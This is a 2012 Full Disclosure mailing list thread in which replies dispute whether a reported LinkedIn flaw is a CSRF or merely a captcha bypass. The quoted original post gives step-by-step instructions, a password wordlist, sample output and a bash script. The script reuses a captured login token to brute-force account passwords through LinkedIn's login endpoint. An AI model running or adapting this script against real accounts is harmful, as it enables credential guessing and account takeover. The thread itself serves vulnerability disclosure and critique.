Full Disclosure mailing list archives
Re: LinkedIn CSRF: Login Brute Force
From: Mario Vilas <mvilas () gmail com>
Date: Fri, 18 May 2012 12:28:29 +0200
It's a capcha bypass, not a CSRF as claimed. I'm also not quite sure if the capcha has really been bypassed at all as the blog post in spanish says you have to enter it manually from time to time... "Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token." This line is quite funny: "Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron." (LinkedIn has been notified two weeks ago, but they never responded). The comments are pretty clueless too. On Thu, May 17, 2012 at 7:50 PM, Julius Kivimäki <julius.kivimaki () gmail com> wrote:
Where's the csrf? All I see here is an useless bruteforce attack. 2012/5/17 Fernando A. Lagos B. <fernando () zerial org>LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step =============== 1). Login into your LinkedIn account and capture the "sourceAlias" and "csrfToken" variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns "The email address or password you provided does not match our records", else the password if correct. II. PoC ======= 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh panic () zerial org w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script =========== #!/bin/bash # # usage: ./linkedin.sh username () domain com wordlist # TOKEN="ajax%3A6265303044444817496" sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi" if [ ! -f $2 ]; then echo "file $2 does not exists" exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo "Ignoring $_PWD (must be grather than 6 chars)"; continue fi wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null if [ $? -eq 1 ]; then echo "Password found: $_PWD"; exit; fi done echo "Password NOT found. Try later." #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zerial () jabberes org _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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Current thread:
- LinkedIn CSRF: Login Brute Force Fernando A. Lagos B. (May 17)
- Re: LinkedIn CSRF: Login Brute Force Julius Kivimäki (May 18)
- Re: LinkedIn CSRF: Login Brute Force Mario Vilas (May 18)
- Re: LinkedIn CSRF: Login Brute Force Alexander Georgiev (May 20)
- Re: LinkedIn CSRF: Login Brute Force Julius Kivimäki (May 18)